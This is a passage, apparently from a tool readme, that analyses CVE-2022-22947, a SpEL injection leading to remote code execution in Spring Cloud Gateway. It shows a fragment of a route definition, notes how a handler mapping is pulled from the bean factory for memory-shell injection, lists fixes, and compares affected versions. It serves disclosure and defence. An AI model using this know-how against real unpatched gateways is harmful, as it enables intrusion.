  "uri": "http://127.0.0.1:9999/test6",
"order": 0
}]```
其中的requestMappingHandlerMapping的获取方式比较巧妙,直接从SPEL上下文的beanFactory中获取:
![requestMappingHandlerMapping](https://assets.kitploit.com/production/public/readmes/35878/f03c95da212a61728609ae5cda2432f7beb25e8dd00d325b93a4609ec9bc1d5e.png)

## 漏洞修复
* 如果可以的话关闭Actuator gateway的暴露,这样至少只要不是能控制配置文件,就能避免远程代码执行(通过配置文件注册的路由也会走到上面spel解析的地方);
* 升级版本(官方修复方式:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )































2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。




https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
도구 다운로드